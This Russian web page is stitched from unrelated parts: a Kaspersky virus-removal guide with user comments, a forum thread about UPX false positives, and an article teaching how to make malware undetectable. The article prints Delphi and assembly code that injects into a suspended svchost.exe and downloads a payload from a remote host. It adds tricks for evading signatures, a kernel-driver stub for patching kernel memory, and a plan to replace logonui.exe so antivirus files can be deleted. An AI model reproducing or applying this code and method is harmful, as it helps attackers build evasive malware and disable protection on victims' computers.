Как скрыть вирус от касперского
Как удалить вирусы с помощью антивируса касперского
Нужно сказать, что антивирус касперского в отличие от других программ, намного дружелюбнее к пользователю, чем другие антивирусы и не пугает количеством найденных троянов и других вирусов.
Однако же разобраться с тем, как удалить вирусы, с помощью антивируса Kaspersky Internet Security стало чуточку сложнее.
Не переживайте, если у Вас сейчас касперский 2010,2012, или касперский 2013 — Вы можете установить новую версию и ключ подойдет, главное, чтобы антивирус был именно Интернет секьюрити, то есть, антивирус с защитой от сетевых атак.
1. Разворачиваем список и смотрим на значок программы — если он с восклицательным знаком, то значит нашел.
Антивирус касперского 2012 нашел вирус
2. Далее, кликая на значке антивируса (пункт 2, Рисунок 1) открываем окно программы и видим, что монитор горит красным, нажимаем на него.
Антивирус касперского 2012. Безопасность под угрозой. Удаляем найденные вирусы.
Удаляем вирус. Антивирус касперсокго.
5. Собственно все, — вирусы Вы вылечили, можете спокойно пользоваться программой.
Ну а если хотите сэкономить на покупке антивируса, то прочтите, как можно продлить лицензию — это позволит сохранить >40% от стоимости.
Сообщения по теме:
Комментарии (45)
- ребеныш 20.02.2012 #
здравствуйте, вчера установила касперский 2012, сегодня он выдал- обнаружены угрозы статус неактивно, а когда щелкаю по значку антивирса выдает, что угрозы отсутствуют, компьютер защищен.
так и непонятно под угрозой он или защищен, и как удалить эти угрозы если они все таки есть??
ребеныш, каспер может быть сам удалил, либо вирусы были на флешке, а флешку Вы убрали… если пишет неактивно, то все значит в порядке.
Делаю проверку.Находит вирусы или вредоносные ПО.Пишет,что будет удален после перезагрузки компьютера.Делаю перезагрузку,все остается на месте.Думала,может просто отчет,а делаю проверку,опять находит и опять то же самое.
KykJIa, возможно касперский что-то и удаляет, но вирус не удаляется и он копирует эти файлы снова… можно пробовать другие антивирусы.
Лиза, а что за ПО, возможно это вполне безобидная программа.
Попробуйте скачать с сайта drWeb антивирус, записать его на флешку, а потом из под биоса загрузиться и проверить свой компьютер
download.geo.drweb.com/pub/drweb/liveusb/win/drwebliveusb.exe
Страница ссылки: freedrweb.com/liveusb
Иногда бывает, что разные антивирусы находят разные программы которые считают вирусами.
Там пишет что её нужно как можно скорее нейтрализовать.но я нажимаю и ничего не происходит.
там написано обнаружено 159 объектов)
что значит из под биоса загрузиться?.
я не поняла.
Я проблему решила,отключением восстановления системы и чисткой пакпи.Плюс почистила папку карантина.
Теперь тоже самое у знакомого,только вот у него восстановление отключено,папка пустая.Карантин вроде тоже чистили.Но при перезагрузки опять находит.
Добрый день!Установила программу Касперского пробную версию на 1 месяц и проверила весь компьютер на вирус то есть от сканировала полностью ,там вышла что у меня 4 угрозы ,а вот как дальше его удалить не как не знаю ,хотя на значке не показывает что есть вирус, а вот отсканировала показывает угрозу что делать ?
скачал касперского проверил выдает 27 троянов если под некоторыми подписано удалено? значит угроза нейтрализована? остались 4 трояна нажимаю удалить выдает адрес папки Temp удаляю содержимое удаляется но под трояном все таже надпись не обработано а папка Temp содержит те элементы которые я удалил помогите плизз
У меня в отчётах Троянская прогрмма 2шт можно ли удалить 1 отчёт что бы сново стало Троянская программа 1шт
Дмитрий, не тратьте время на отчеты, если касперский лечит, то пусть это делает сам, ведь если он не сможет вылечить, Вы все равно ничего не поделаете. Если Вам кажется, что есть еще какие-то посторонние вирусы на вашем компьютере, то пробуйте дополнительные антивирусы.
Приятель принес флешку с просьбой скачять парочьку фильмов после винда начяла подгуливать через тотол командер в скрытых файлах вижу RECYCLER и win32 sistem volym и такдалее пытался их удалить но они появляются снова как быть дальше помогите
Василий, можно просканировать DrWeb Live CD.
Так же посмотрите как ведет себя касперский? Загружается ли он, можно обновить его базы и заставить сделать проверку компьютера.
почему антивирус касперского нашел две угрозы но не обработал?
lupus, может быть эти угрозы он просто не смог найти повторно, — одна его часть не ведает, что вторая уже удалила.
ЗНАЧЁК КАСПЕРСКОГО ЖЁЛТЫЙ. НАЖИМАЮ ИСПРАВИТЬ, ОТКРЫВАЕТСЯ INTERNET EXPLORER. ПРЕДЛАГАЮТ ПРИОБРЕСТИ ПОЛНУЮ ВЕРСИЮ (МОЯ ГОДНА ЕЩЁ 148 ДНЕЙ). ЗНАЧЁК ОСТАЁТСЯ ЖЁЛТЫМ. ЧТО НУЖНО ДЕЛАТЬ ЧТОБЫ ОН ПОЗЕЛЕНЕЛ. СПАСИБО.
Артём, давно не видел чтобы значек желтел… как мне кажется это признак заражения компьютера, поскольку лицензионный ключ скорее всего действует, если Вы покупали программу и не делились ключем с кем-то.
комп стал тупить по страшному стоял нод 32 удалила поставила касперского он нашел 2 трояна при проверке на 35% завис потом всплыло окно что обнаружена угроза но удалить так и не предложил потом выключился что с ним делать
юлька, когда компьютер заражен, антивирусы не всегда помогают.
Попробуйте скачать и записать DrWeb Live CD на диск и очистить компьютер загрузившись из под биоса.
Так же не всегда компьютер тупит из-за вирусов, может быть и постепенный выход из строя жесткого диска.
помогите! при полной проверке обнаружены 2 шт троянской программы. удалила,значок зеленый,но показывает сбой программы что защита не включена,нужно отправить отчёт в лабораторию. отправляю ,потом включается
Olga, возможно компьютер не вылечен, поэтому показывает сбой.
Очистите автозагрузку и снова проверьте компьютер.
Возможно вирусы какой-то программой используются, а потому антивирус не может получить к ним доступ.
Вообще антивирус удаляет все, что может быть удалено, однако если вирусы висят в памяти как обычные программы, а их файлы используются системой, то тут антивирус бессилен.
Именно поэтому я рекомендую использовать Live CD диски от доктора веба и того же касперского, потому, что из под биоса вирусы не запущены и не используются системой, а потому просто удаляются.
Опытные пользователи могут отключить автозагрузку вирусов и без дополнительных программ удалить все лишние вирусы.
У меня Троян, я нажимаю удалить он пишет что не может найти, как мне удалить этот вирус с помощью Касперскго?
Nastya, Касперский не справляется с некоторыми вирусами просто потому, что операционная система берет вирусы под защиту.
Такое возможно потому, что вирусы вводят систему в заблуждение и работают в ней под видом обычных программ.
Поэтому нужно скачивать программы типа DrWeb Live CD или Касперский Live CD и загрузиться под рутом до загрузки операционной системы.
Так же можно использовать ERD Commander.
На данный момент для пользователей это наиболее действенные средства.
Так же бывает, что вирус уже удален. а Касперский с запазданием высвечивает окно с сообщением.
Надеюсь это Ваш вариант и троян уже удален.
Маловероятно. Обычно удаляет по делу.
Если удалит системный файл, то можно попробовать восстановить загрузку системы.
Доброго всем дня!Я пользуюсь Касперским интернет секъюрити 2013!Работает отлично вирусов на компе ноль!Советую всем.
Касперский не обработал 1 объект,при перепроверке не его не обнаружил,комп тормозит,очнь медленно включается до 10 мин.Вы советуете скачать на диск доктор лайф СД из под биоса.Я не очень понимаю как это сделать,обьясните для чайника поподробнее,буквально куда и как нажимать.
cde33, стопроцентной защиты не дает ни один антивирус.
Что касается предупреждений, то может быть это еще один шанс подумать, а нужно ли.
Сколько было заражений из-за того, что антивирусы не знали вирус и давали пользователям установить приложение.
Однако я не настаиваю, так как уверен, что и аваст достойный антивирус, но не панацея как и все остальные.
помогите у меня на компе троян.когда заходишь в косперский то там написано что угрозы отсутствуют красного икрана нету как вы сказали ,но в статистике написано что там 12 троянов и 1 другая вредоностная програма.немогу удалить их потомучто незнаю как.помогите плиииииииииииз.И еще у меня уже было 2 случая когда я смотрел фильм по онлайну вдруг у меня появился синй экран с надписями и после он гудит и выключаеться. И еще все тупит он делает что хочет
.
что будет если удалить обнаруженые объекты с анти вируса?
777, вообще-то хорошо если удалятся, так как часто антивирус не может найти и если нашел, то не может удалить файлы.
У меня был только один случай, когда на максимальной эвристике антивирус удалил и документы, но это было несколько лет назад.
Здравствуйте! Можно ли с помощью Kaspersky Internet Security удалить вирус shopwit, и если да, то как?
Настя, если и может, то после сканирования зараженного носителя.
Чтобы вирус появился в базах нужно отправить зараженный файл в лабораторию касперского на анализ.
Касперски показывает 1проблема,что это значит? Я в этом 0!
Счетчик сообщений и начисление баллов в разделе отключены.
![](https://forum.kasperskyclub.ru/public/style_images/KL/profile/default_large.png)
![](https://forum.kasperskyclub.ru/public/style_images/browsers/novikov.png)
Новички
У меня вопрос про проблемы с UPX.
Вот пишу какую-нибудь программу (самостоятельно, без сторонних компонентов, и абсолютно уверен что в программе нет вредоносного функционала).
Проверяю на VirusTotal - все антивирусы считают что всё хорошо.
Запаковываю в UPX - и 5…30 (из 61) антивируса ругаются что это теперь вирус. Нередко и Касперский (а следом через день - и Яндекс), причём жалобы на ложный детект по факту игнорируются у Касперского (хотя у многих остальных антивирусов ложный детект исправляют за 1-2 дня).
Догадываюсь что где-то там получаются похожие куски сигнатур на какой-то вирус которых тоже был сжат в UPX.
Однако ведь UPX - широкоизвестная программа, почему антивирус не может детектить UPX, распаковывать его и проверять реальный исполняемый код, а не сигнатуры сжатого UPX ?
ZIP/RAR ведь антивирусы распаковывают.
А если антивирус не умеет распаковывать UPX - то ведь злоумышленники могут за несколько перестановок/перепаковок кода найти комбинацию когда сигнатуры сжатого UPX детектится не будут…
Если всё-же UPX анализируется и внутри - то зачем ложно детектить по сжатому?
[mod='Mark D. Pearlstone']Тема перемещена из раздела "Задай вопрос Евгению Касперскому!"[/mod]
Чисто спортивный интерес, что вам дает упаковка UPX
![](https://forum.kasperskyclub.ru/public/style_images/KL/profile/default_large.png)
![](https://forum.kasperskyclub.ru/public/style_images/browsers/novikov.png)
Новички
Чисто спортивный интерес, что вам дает упаковка UPX
Уменьшение объёма в 3-4 раза.
На большинстве сайтов например программы выкладывают упакованными в ZIP/RAR или даже в 7z - тоже ведь место экономят…
Почему бы сразу исполняемый код не упаковать, если такая возможность есть?
Меня интересует официальная позиция разработчиков антивируса. Если вот они прямо скажут что с UPX будут проблемы потому что им он не нравится - то я учту их мнение…
А то какая-то непонятная и не логичная ситуация.
Вдобавок жалобы на ложный детект игнорят. Не понятно, сколько ждать их вердикта. В отписке робота сказано что если результат изменится - то сообщат. Однако следовало бы сообщать о любом результате.
в ZIP/RAR или даже в 7z - тоже ведь место экономят…
Меня интересует официальная позиция разработчиков антивируса
В отписке робота сказано что если результат изменится - то сообщат. Однако следовало бы сообщать о любом результате.
![](https://forum.kasperskyclub.ru/uploads/profile/photo-thumb-36475.jpg)
![](https://forum.kasperskyclub.ru/public/style_images/browsers/Stariki.png)
Старожилы
![](https://forum.kasperskyclub.ru/public/style_images/KL/bullet_black.png)
![](https://forum.kasperskyclub.ru/public/style_images/KL/bullet_black.png)
![](https://forum.kasperskyclub.ru/public/style_images/KL/bullet_black.png)
![](https://forum.kasperskyclub.ru/public/style_images/KL/bullet_black.png)
![](https://forum.kasperskyclub.ru/public/style_images/KL/bullet_black.png)
![](https://forum.kasperskyclub.ru/public/style_images/KL/bullet_black.png)
![](https://forum.kasperskyclub.ru/public/style_images/KL/bullet_black.png)
![](https://forum.kasperskyclub.ru/public/style_images/KL/bullet_black.png)
![](https://forum.kasperskyclub.ru/public/style_images/KL/bullet_black.png)
Ностальгия по временам когда компьютеры были большими?
Ну не любят антивирусы сжатые исполняемые файлы да еще и без цифровой подписи.
Совершенно очевидная логика - сжимают, значит хотят что-то скрыть.
Поскольку других резонов для сжатия сейчас нет.
Согласен x 1- Показать
Microsoft MVP 2012-2016 Consumer Security
Microsoft MVP 2016 Reconnect
Консультант по продуктам ЛК
антивируса ругаются что это теперь вирус
покажите скриншот алерта
![](https://forum.kasperskyclub.ru/public/style_images/KL/profile/default_large.png)
![](https://forum.kasperskyclub.ru/public/style_images/browsers/novikov.png)
Новички
в ZIP/RAR или даже в 7z - тоже ведь место экономят…
Я хочу знать какое-то разумное обоснование (или хотя бы официальное признание факта что по религиозным причинам UPX под запретом). А не тупо следовать за толпой.
В отписке робота сказано что если результат изменится - то сообщат. Однако следовало бы сообщать о любом результате.
Из текста отписки робота можно предположить что если антивирусные специалисты(?) решат что там реально вирус - то ответа не будет.
McAfee, Avast, Symantec, Baidu - на жалобу о ложном детекте реагируют за 1 день, и уже на следующий день проблемы нет. Причём, мелкие правки программы и повторная перекомпиляция/UPX - проблему не возвращает. Т.е. они вносят в белый список видимо не глобальную сигнатуру файла, а совокупность разных сигнатур корректируют.
Касперский же спустя 4 дня - ничего не изменилось, по прежнему клевещет на сжатый файл.
Возникает вопрос: то ли у него очередь на ложные детекты исчисляется неделями, то ли он не хочет признавать этот ложный детект.
Почему я как автор программы не могу оспорить мнение этих якобы специалистов? Почему они не могут сказать что именно им не нравится в программе?
File size Ratio Format Name
-------------------- ------ ----------- -----------
276480 -> 62464 22.59% win32/pe UPS_LM.exe
они может и ругаются, но не потому что вирус.
покажите скриншот алерта
![](https://forum.kasperskyclub.ru/uploads/profile/photo-thumb-33260.jpg)
![](https://forum.kasperskyclub.ru/public/style_images/browsers/Stariki.png)
Старожилы
![](https://forum.kasperskyclub.ru/public/style_images/KL/bullet_black.png)
![](https://forum.kasperskyclub.ru/public/style_images/KL/bullet_black.png)
![](https://forum.kasperskyclub.ru/public/style_images/KL/bullet_black.png)
![](https://forum.kasperskyclub.ru/public/style_images/KL/bullet_black.png)
![](https://forum.kasperskyclub.ru/public/style_images/KL/bullet_black.png)
![](https://forum.kasperskyclub.ru/public/style_images/KL/bullet_black.png)
![](https://forum.kasperskyclub.ru/public/style_images/KL/bullet_black.png)
![](https://forum.kasperskyclub.ru/public/style_images/KL/bullet_black.png)
![](https://forum.kasperskyclub.ru/public/style_images/KL/bullet_black.png)
![](https://forum.kasperskyclub.ru/public/style_images/KL/bullet_black.png)
![](https://forum.kasperskyclub.ru/public/style_images/KL/bullet_black.png)
Вирусописание – очень актуальная тема на сегодняшний день. Рынок антивирусного ПО просто кишит разнообразными продуктами так или иначе защищающим ПК от малвари. В этой статье я расскажу об обмане известных антивирусов – Касперского 7.0, avast!, NOD32, также расскажу о том, как используя исходник давно уже известной малвари написать вирус, не палящийся антивирусами, добавив всего каких-то 5 – 6 строчек кода в него.
Итак, нам надо готовый исходник сделать невидимым для антивируса. Можно для этого, конечно, переписать и извратить весь код вируса таким образом чтобы тот уже не распознавался антивирусным ПО, но это надо писать, думать головой, стучать по клаве, к тому же на это требуется много времени, так что этот способ не подходит. Можно просто с нуля писать вирус, но ведь это тоже работает не всегда, у продвинутых антивирусов имеется эмулятор, огромная база, эвристика, при этом также нужно придумывать особый алгоритм, которого еще нет в базах антивирусов и это займет еще больше времени.
uses
Windows, WinSock;
< Определение положения подстроки в строке >
Function MyPos(Substr, Str: PChar): dword; stdcall;
asm
mov eax, Substr
mov edx, str
test eax, eax
je @noWork
test edx, edx
je @stringEmpty
push ebx
push esi
push edi
mov esi, eax
mov edi, edx
push eax
push edx
call lstrlen
mov ecx, eax
pop eax
push edi
push eax
push eax
call lstrlen
mov edx, eax
pop eax
dec edx
js @fail
mov al, [esi]
inc esi
sub ecx, edx
jle @fail
@loop:
repne scasb
jne @fail
mov ebx, ecx
push esi
push edi
mov ecx, edx
repe cmpsb
pop edi
pop esi
je @found
mov ecx, ebx
jmp @loop
@fail:
pop edx
xor eax, eax
jmp @exit
@stringEmpty:
xor eax, eax
jmp @noWork
@found:
pop edx
mov eax, edi
sub eax, edx
@exit:
pop edi
pop esi
pop ebx
< Копирование строк >
Function MyCopy(S:PChar; Index, Count: Dword): PChar; stdcall;
asm
mov eax, Count
inc eax
push eax
push LPTR
call LocalAlloc
mov edi, eax
mov ecx, Count
mov esi, S
add esi, Index
dec esi
rep movsb
end;
< Копирование участка памяти >
procedure MyCopyMemory(Destination: Pointer; Source: Pointer; Length: DWORD);
asm
push ecx
push esi
push edi
mov esi, Source
mov edi, Destination
mov ecx, Length
rep movsb
pop edi
pop esi
pop ecx
end;
Function DownloadFile(Address: PChar; var ReturnSize: dword): pointer;
var
Buffer: pointer;
BufferLength: dword;
BufferUsed: dword;
Bytes: integer;
Header: PChar;
Site: PChar;
URL: PChar;
FSocket: integer;
SockAddrIn: TSockAddrIn;
HostEnt: PHostEnt;
Str: PChar;
WSAData: TWSAData;
hHeap: dword;
begin
Result := nil;
hHeap := GetProcessHeap();
WSAStartup(257, WSAData);
Site := MyCopy(Address, 1, MyPos('/', Address) - 1);
URL := MyCopy(Address, MyPos('/', Address), lstrlen(Address) - MyPos('/', Address) + 1);
Buffer := HeapAlloc(hHeap, 0, 1024);
try
BufferLength := 1024;
BufferUsed := 0;
FSocket := socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
SockAddrIn.sin_family := AF_INET;
SockAddrIn.sin_port := htons(80);
SockAddrIn.sin_addr.s_addr := inet_addr(Site);
if SockAddrIn.sin_addr.s_addr = INADDR_NONE then
begin
HostEnt := gethostbyname(Site);
if HostEnt = nil then Exit;
SockAddrIn.sin_addr.s_addr := Longint(PLongint(HostEnt^.h_addr_list^)^);
end;
if Connect(FSocket, SockAddrIn, SizeOf(SockAddrIn)) = -1 then Exit;
Str := HeapAlloc(hHeap, 0, 1024);
lstrcpy(Str, 'GET ');
lstrcat(Str, URL);
lstrcat(Str, ' HTTP/1.0'#10#13'Host: ');
lstrcat(Str, Site);
lstrcat(Str, #13#10'Connection: close'#13#10#13#10);
send(FSocket, Str^, lstrlen(Str), 0);
HeapFree(hHeap, 0, Str);
repeat
if BufferLength - BufferUsed 0 then Inc(BufferUsed, Bytes);
until (Bytes = 0) or (Bytes = SOCKET_ERROR);
Header := MyCopy(Buffer, 1, MyPos(#13#10#13#10, Buffer) + 3);
ReturnSize := BufferUsed - lstrlen(header);
Result := VirtualAlloc(nil, ReturnSize, MEM_COMMIT or
MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if Result = nil then Exit;
MyCopyMemory(Result, pointer(dword(Buffer) + lstrlen(header)), ReturnSize);
finally
HeapFree(hHeap, 0, Buffer);
end;
end;
< процедура выполняющаяся в контексте доверенного приложения >
Procedure Download(); stdcall;
const
URL : PChar = '192.168.0.58/1.mp3';
var
Buff: pointer;
Size: dword;
Bytes: dword;
dFile: dword;
begin
LoadLibrary('wsock32.dll');
Buff := DownloadFile(URL, Size);
dFile := CreateFile('c:\1.mp3', GENERIC_WRITE, 0, nil, CREATE_NEW, 0, 0);
WriteFile(dFile, Buff^, Size, Bytes, nil);
CloseHandle(dFile);
ExitProcess(0);
end;
var
St: TStartupInfo;
Pr: TProcessInformation;
InjectSize: dword;
Code: pointer;
Injected: pointer;
BytesWritten: dword;
Context: _CONTEXT;
t:textfile;
cmd:string;
begin
ZeroMemory(@St, SizeOf(TStartupInfo));
St.cb := SizeOf(TStartupInfo);
St.wShowWindow := SW_SHOW;
// запускаем процесс, которому разрешено лезть на 80 порт
CreateProcess(nil, 'svchost.exe', nil, nil, false,
CREATE_SUSPENDED, nil, nil, St, Pr);
Code := pointer(GetModuleHandle(nil));
InjectSize := PImageOptionalHeader(pointer(integer(Code) +
PImageDosHeader(Code)._lfanew +
SizeOf(dword) +
SizeOf(TImageFileHeader))).SizeOfImage;
// выделяем память в процессе
Injected := VirtualAllocEx(Pr.hProcess, Code, InjectSize, MEM_COMMIT or
MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// внедряем код
WriteProcessMemory(Pr.hProcess, Injected, Code, InjectSize, BytesWritten);
// изменяем контекст нити
Context.ContextFlags := CONTEXT_FULL;
GetThreadContext(Pr.hThread, Context);
Context.Eip := dword(@Download);
SetThreadContext(Pr.hThread, Context);
// запускаем процесс
ResumeThread(Pr.hThread);
end;
Теперь попробуем закомментировать строчку в основной части программы, где вызывается API CreateProcess - так вирус работать не будет вовсе, все обвалится еще в самом начале, но и антивирусами он после этого палиться не будет.
Мы подошли к основной части статьи – сейчас мы перепишем исходник так, чтобы он сохранил работоспособность и при этом перестал палиться антивирусами. Поступим следующим образом: вместо того, чтобы просто вызвать CreateProcess сделаем нечто вроде интерпретатора команд. Он будет читать строку из файла и сравнивать ее с каким-нибудь символом/строкой и при совпадении вызывать CreateProcess. Самый простейший способ – это модифицировать код вот так: вместо CreateProcess(nil, 'svchost.exe', nil, nil, false, CREATE_SUSPENDED, nil, nil, St, Pr); напишем эти 6 строчек кода:
AssignFile(t,'1.txt');
reset(t);
readln(t,cmd);
CloseFile(t);
if cmd = '1' then CreateProcess(nil, 'svchost.exe', nil, nil, false,
CREATE_SUSPENDED, nil, nil, St, Pr);
Естественно, переменные cmd, t нужно объявить. Способ простейший, но все таки он отлично работает, при этом чем больше важных участков вируса исполняются таким образом, тем эффективнее получается механизм. Но все таки в идеале этот код – отдельная процедура, которая опять же вызывается подобным образом – только при совпадении строки, прочтенной из файла с эталонной. Далее описан еще один пример переделки этого кода - сначала создаем отдельную процедуру:
Procedure MyVirusStart(str:string);
Var cmd:string;t:textfile;
Begin
AssignFile(t,'1.txt');
reset(t);
readln(t,cmd);
CloseFile(t);
if cmd = '1' then CreateProcess(nil, 'svchost.exe', nil, nil, false,
CREATE_SUSPENDED, nil, nil, St, Pr);
End;
А код модифицируем, вместо
CreateProcess(nil, 'svchost.exe', nil, nil, false,
CREATE_SUSPENDED, nil, nil, St, Pr);
Напишем вот так:
AssignFile(t,'1.txt');
reset(t);
readln(t,cmd);
CloseFile(t);
if cmd = '2' then MyVirusStart;
И все! Наш вирус невидим! Главное – найти основное место в коде вируса, то без чего он станет абсолютно безопасным, да и вообще не будет работать.
Этот алгоритм довольно простой, его можно еще более усовершенствовать, сделать так, чтобы команды генерировались вирусом и им же исполнялись и т.д.
Продолжим. Допустим нам нужно внедрить DLL с вредоносным кодом в какой-либо конкретный процесс (например, для того, чтобы поставить хук). Можно, конечно, использовать метод, описанный выше, но не факт, что удастся просто так осуществить чтение инструкций из файла, ведь в зависимости от того, в какой именно процесс мы внедряемся, в его таблице импорта может и не быть функций для работы с файлами (проверил на опыте – работает не всегда). Можно, правда, внедрить в процесс код загрузки нужных DLL, но ведь это не всегда требуется, а нам нужно создать абсолютно универсальный код.
Можно сделать так: завести, например, массив, состоящий, скажем из десяти элементов – строк или чисел (кому как удобно, лично мне по душе числа), каждый элемент это команда. Далее пишем процедуру, которая нужную команду для вируса пишет в массив в ячейку со случайным номером. Далее все делается аналогично первому способу: выбирается главное действие вируса, перед ним вызываем созданную процедуру, помещающую команду в массив и перебираем массив пока не встретим нужную команду. Итак, вот такой получается код:
// генерируем команду и кладем ее в рандомую ячейку массива а
procedure writecmd;
var i,c:integer;
begin
for c:=0 to 10 do a[c]:=0;
i:=random(900);
i:=i+1;
a[random(11)]:=i; // а – массив
end;
А в коде вируса вставляем следующие строчки
for j:=0 to 10 do
if a[j]<>0 then CreateProcess(nil, 'svchost.exe', nil,
nil, false, CREATE_SUSPENDED, nil, nil, St, Pr);
// здесь вызываем главное действие вируса
// в данном исходнике это CreateProcess
Как видно, это очень простой код, но он эффективно защитит твой вирус от обнаружения, базы идут лесом – вирус разделяется на абсолютно безвредные сами по себе части, и антивирусу заранее неизвестен ход его выполнения. Этот метод можно многократно усовершенствовать и он подходит практически для любых исходников (я думаю такой простой код переписать на С++ труда не составит никому :)).
Итак, что нам нужно сделать:
- Основную операцию записи в память перенесем в отдельную функцию;
- Создадим обработчик IOCTL команд;
- Свяжем IOCTL команду с процедурой записи в память(модификации кода).
Для начала создадим процедуру, модифицирующую код ядра:
// Здесь формируется код IOCTL в драйвере
#define TESTDRV_TYPE 40000
#define IOCTL_IOPM_FUNCTION \
CTL_CODE(TESTDRV_TYPE, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)
NTSTATUS WriteKernelMemory()
<
// Здесь устанавливаем перехват на какую-нибудь функцию
.
>
NTSTATUS OnDeviceControlHandle(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP pIrp
)
<
int i;
I = 9;
I = i+177;
NTSTATUS ntStatus = STATUS_SUCCESS;
PIO_STACK_LOCATION irpSp;
// Длина входного буфера
ULONG inBufLength;
// Длина выходного буфера
ULONG outBufLength;
// Указатель на входной и выходной буфер
PULONG ioBuffer;
// Получаем указатель на драйверный стек
irpSp= IoGetCurrentIrpStackLocation(pIrp);
// Входной и выходной буфера и их длины
inBufLength = irpSp->Parameters.DeviceIoControl.InputBufferLength;
outBufLength = irpSp->Parameters.DeviceIoControl.OutputBufferLength;
ioBuffer = (PULONG) pIrp->AssociatedIrp.SystemBuffer;
// собственно обработка команд
switch ( irpSp->Parameters.DeviceIoControl.IoControlCode )
<
// обработка кода функции IOCTL_IOPM_FUNCTION
case IOCTL_IOPM_FUNCTION:
<
If(i!=0)
WriteKernelMemory;
break;
>
>
// Завершение рабочей процедуры
pIrp->IoStatus.Information = inBufLength;
/* Размер выходного буфера */
pIrp->IoStatus.Status = ntStatus;
IoCompleteRequest( pIrp, IO_NO_INCREMENT );
return ntStatus;
>
Естественно, для обработки IOCTL команд нужно обязательно создать объект устройства.
Подведем итоги : мы защитили вредоносный код от палева и вырубили Касперский проактив, теперь, пользуясь приведенными примерами вполне можно сотворить из готового исходника вполне работоспособный и не палящийся антивирусами вредоносный код.
Ну ладно, с антивирусными базами разобрались, а как быть с проактивной защитой антивируса Касперского (у него она хотя бы нормально работает, относительно…)? Ведь он будет бузить даже при попытке элементарно поставить хук. При интенсивном исследовании возможностей проактива, предлагаемого Каспером, таковой способ был найден.
Касперский, по непонятным мне причинам, не бузит, когда производится замена виндовских исполняемых файлов своими версиями и это очень хорошо )). Но у каспера есть проверка целостности системных файлов. К счастью, каспер проверяет только малую часть файлов оси (у него для этого и список имеется), но пользователь может добавлять в черный список и свои файлы, поэтому такие файлы, как, например winlogon.exe или lsass.exe заменить вряд ли удастся. Решение проблемы – замена файла logonui.exe, лежащего в дире %SystemRoot%\system32 ну и естественно в %SystemRoot%\system32\dllcache. Файл этот отвечает за экран входа в систему и по моему зря товарищи из Майкрософта сделали так, что этой exe-шке
позволено и со всеми файлами работать, и в реестр писать, и сервисы грузить и много чего еще. Следовательно, грамотно пропатчив данный файлик можно очень хорошо напортачить, а самое главное, что заменив этот файл можно поудалять половину всех файлов каспера, что несомненно гуд. Эта возможность распространяется и на другие антивирусы. Итак, все сводится к тому, чтобы написать прогу, очень напоминающую по внешнему виду экран входа в систему, заменить ей штатный logonui.exe и дело в шляпе!
Кстати, я крайне не советую для этой цели использовать API CopyFile и подобные, во избежание палева, лучше написать процедуру копирования файлов самостоятельно (это очень просто делается) и защитить ее описанным ранее алгоритмом.
Читайте также: